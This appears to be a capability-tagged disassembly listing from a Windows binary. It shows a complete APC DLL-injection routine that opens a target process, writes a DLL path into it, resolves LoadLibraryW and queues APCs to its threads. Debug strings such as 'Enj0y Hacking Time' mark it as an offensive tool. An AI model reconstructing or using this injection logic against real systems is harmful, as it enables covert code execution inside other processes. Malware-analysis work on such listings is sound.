Function at 0x140002480
Capabilities:
Enumerate threads

Disassembly:
push rsi
push rdi
push r15
sub rsp, 0x70
mov rax, qword [0x140047040]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rdi, rdx
mov esi, ecx
mov r8d, ecx
xor edx, edx
mov ecx, 0x1fffff
call qword [0x140049d40]
lea rcx, [0x140048460]
mov r15, rax
test rax, rax
jne 0x140002503
lea rdx, str._t____Get_TargetProcessHandle_Failed_:_
call fcn.140005910
mov rcx, rax
call fcn.140005bc0
call fcn.140002310
cmp eax, 1
lea rcx, str._t____Please_Run_This_Under_Administrator_Role_:_
lea rdx, str._t____Is_This_EXE_Opened__:_
cmovne rdx, rcx
lea rcx, [0x140048460]
call fcn.140005910
mov rcx, rax
call fcn.140005bc0
jmp 0x14000277c
mov qword [rsp + 0x68], rbp
lea rdx, str._t___Get_OriginalProcessHandle_Successfully_:_
mov qword [rsp + 0x60], r14
call fcn.140005910
mov rcx, rax
call fcn.140005bc0
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
cmp word [rdi + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140002530
lea eax, [rax*2 + 4]
mov dword [rsp + 0x20], 0x20
mov r8d, eax
mov r9d, 0x1000
xor edx, edx
mov r14d, eax
mov rcx, r15
call qword [0x140049d50]
lea rcx, [0x140048460]
mov rbp, rax
test rax, rax
jne 0x14000258a
lea rdx, str._t____VirtualAlloc_Address_Failed_:_
call fcn.140005910
mov rcx, rax
call fcn.140005bc0
jmp 0x140002772
lea rdx, str._t___VirtualAlloc_Address_Successfully_:_
mov qword [rsp + 0xa0], rbx
call fcn.140005910
mov rcx, rax
call fcn.140005bc0
xor ebx, ebx
mov r9, r14
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov rdx, rbp
mov rcx, r15
call qword [0x140049d58]
lea rcx, [0x140048460]
test eax, eax
jne 0x1400025d6
lea rdx, str._t____Write_CSs_DLL_Into_Memory_Failed_:_
jmp 0x14000275d
lea rdx, str._t___Write_CSs_DLL_Into_Memory_Successfully_:_
call fcn.140005910
mov rcx, rax
call fcn.140005bc0
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LoadLibraryW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140048460]
mov r14, rax
test rax, rax
jne 0x140002622
lea rdx, str._t____Get_LoadLibrarys_Address_Failed_:_
jmp 0x14000275d
lea rdx, str._t___Get_LoadLibrarys_Address_Successfully_:_
call fcn.140005910
mov rcx, rax
call fcn.140005bc0
xor edx, edx
lea ecx, [rdx + 4]
call qword [0x140049d10]
lea rcx, [0x140048460]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000265d
lea rdx, str._t____Taking_Thread_Snap_Shot_Failed_:_
jmp 0x14000275d
lea rdx, str._t___Taking_Thread_Snap_Shot_Successfully_:_
call fcn.140005910
mov rcx, rax
call fcn.140005bc0
xorps xmm0, xmm0
mov qword [rsp + 0x44], rbx
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x1c
mov rcx, rdi
movdqu xmmword [rsp + 0x34], xmm0
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x14000276a
cmp dword [rsp + 0x3c], esi
jne 0x1400026d3
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [0x140049d18]
test rax, rax
je 0x1400026d3
mov r8, rbp
mov rdx, rax
mov rcx, r14
call qword [0x140049d48]
mov ecx, 1
cmp eax, ecx
cmove ebx, ecx
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
je 0x14000272a
cmp dword [rsp + 0x3c], esi
jne 0x140002718
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [0x140049d18]
test rax, rax
je 0x140002718
mov r8, rbp
mov rdx, rax
mov rcx, r14
call qword [0x140049d48]
cmp eax, 1
jne 0x140002718
inc ebx
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1400026e5
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140048460]
lea rdx, str._t____APC_Inject_Failed_:_
test ebx, ebx
je 0x14000275d
lea rdx, str._t___APC_Injct_Successfully____Enj0y_Hacking_Time_:___
call fcn.140005910
mov rcx, rax
call fcn.140005bc0
mov rbx, qword [rsp + 0xa0]
mov rbp, qword [rsp + 0x68]
mov r14, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000e150
add rsp, 0x70
pop r15
pop rdi
pop rsi
ret